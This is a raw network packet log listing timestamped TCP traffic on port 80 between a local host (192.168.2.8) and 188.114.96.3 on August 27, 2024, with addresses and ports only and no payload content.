Aug 27, 2024 09:49:42.081994057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.083265066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.083276987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.083288908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.083314896 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.083345890 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.083348989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.083364964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.083376884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.083388090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.083395958 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.083431005 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.085520029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.085563898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.085573912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.085607052 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.085650921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.085689068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.085736990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.085753918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.085766077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.085777998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.085791111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.085791111 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.085808992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.085813046 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.085822105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.085833073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.085844994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.085856915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.085859060 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.085875034 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.085901022 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086055994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086113930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086126089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086148024 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086247921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086258888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086272001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086283922 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086283922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086303949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086309910 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086314917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086327076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086338043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086349010 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086349964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086368084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086368084 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086380005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086386919 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086390972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086402893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086414099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086429119 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086450100 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086519957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086530924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086549044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086554050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086560011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086571932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086582899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086584091 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086595058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086606979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086611986 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086618900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086637020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086638927 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086648941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086664915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086667061 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086679935 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086709976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086724043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086736917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086743116 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086771965 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086801052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086812973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086824894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086850882 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086946964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086957932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086967945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086980104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.086986065 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.086997032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.087002993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.087009907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.087022066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.087033987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.087045908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.087052107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.087057114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.087069035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.087074995 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.087080002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.087090969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.087093115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.087110996 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.087133884 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.123101950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.123114109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.123126030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.123177052 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.123194933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.123210907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.123222113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.123236895 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.123240948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.123275995 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.164304018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.166362047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.166384935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.166395903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.166466951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.166493893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.166505098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.166511059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.166529894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.166536093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.166551113 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.166579008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.167340994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167351961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167363882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167387962 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.167418003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167428970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167439938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167452097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167463064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.167468071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167479038 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.167506933 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.167535067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167546034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167557001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167570114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167581081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167582035 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.167593956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167603970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167609930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.167618990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.167651892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.168678045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.168689966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.168700933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.168724060 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.168735981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.168749094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.168759108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.168771029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.168781042 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.168782949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.168800116 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.168824911 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.168852091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.168864012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.168874025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.168888092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.168893099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.168940067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.168946028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.168962002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.168967009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.168992043 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.170085907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.170098066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.170104027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.170121908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.170133114 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.170133114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.170144081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.170155048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.170164108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.170166016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.170183897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.170202017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.172502041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.172547102 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.172574043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.226746082 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.243474960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.248586893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.345062971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.345628977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.350496054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446289062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446449041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446461916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446474075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446491957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446511030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446517944 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.446523905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446536064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446547985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446562052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446566105 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.446574926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446579933 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.446587086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446599007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446604013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.446614027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446625948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446638107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446641922 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.446656942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446661949 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.446669102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446681976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.446682930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446711063 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.446814060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446825981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446835995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446851015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446854115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.446871042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446877956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.446883917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446894884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446907997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446918964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446922064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.446930885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446943045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446947098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.446959972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446964025 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.446973085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446980953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.446985960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.446996927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447016954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447020054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447041988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447196960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447207928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447221041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447235107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447240114 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447266102 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447417021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447431087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447443008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447453976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447465897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447468996 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447479963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447491884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447493076 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447504044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447510004 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447515965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447526932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447536945 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447540998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447552919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447563887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447567940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447581053 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447607040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447802067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447813034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447829008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447839975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447850943 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447851896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447864056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447875977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447881937 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447887897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447899103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447904110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447910070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447922945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447928905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447937012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447941065 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447948933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447968006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447979927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.447985888 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.447992086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448004007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448007107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448018074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448029995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448030949 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448043108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448055029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448055983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448067904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448081017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448091030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448093891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448106050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448111057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448118925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448131084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448133945 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448149920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448160887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448162079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448174000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448187113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448196888 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448199987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448210955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448221922 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448224068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448235035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448235989 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448261976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448671103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448683023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448694944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448707104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448715925 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448719025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448730946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448743105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448745012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.448755026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.448761940 CEST	49715	80	192.168.2.8	188.114.96.3
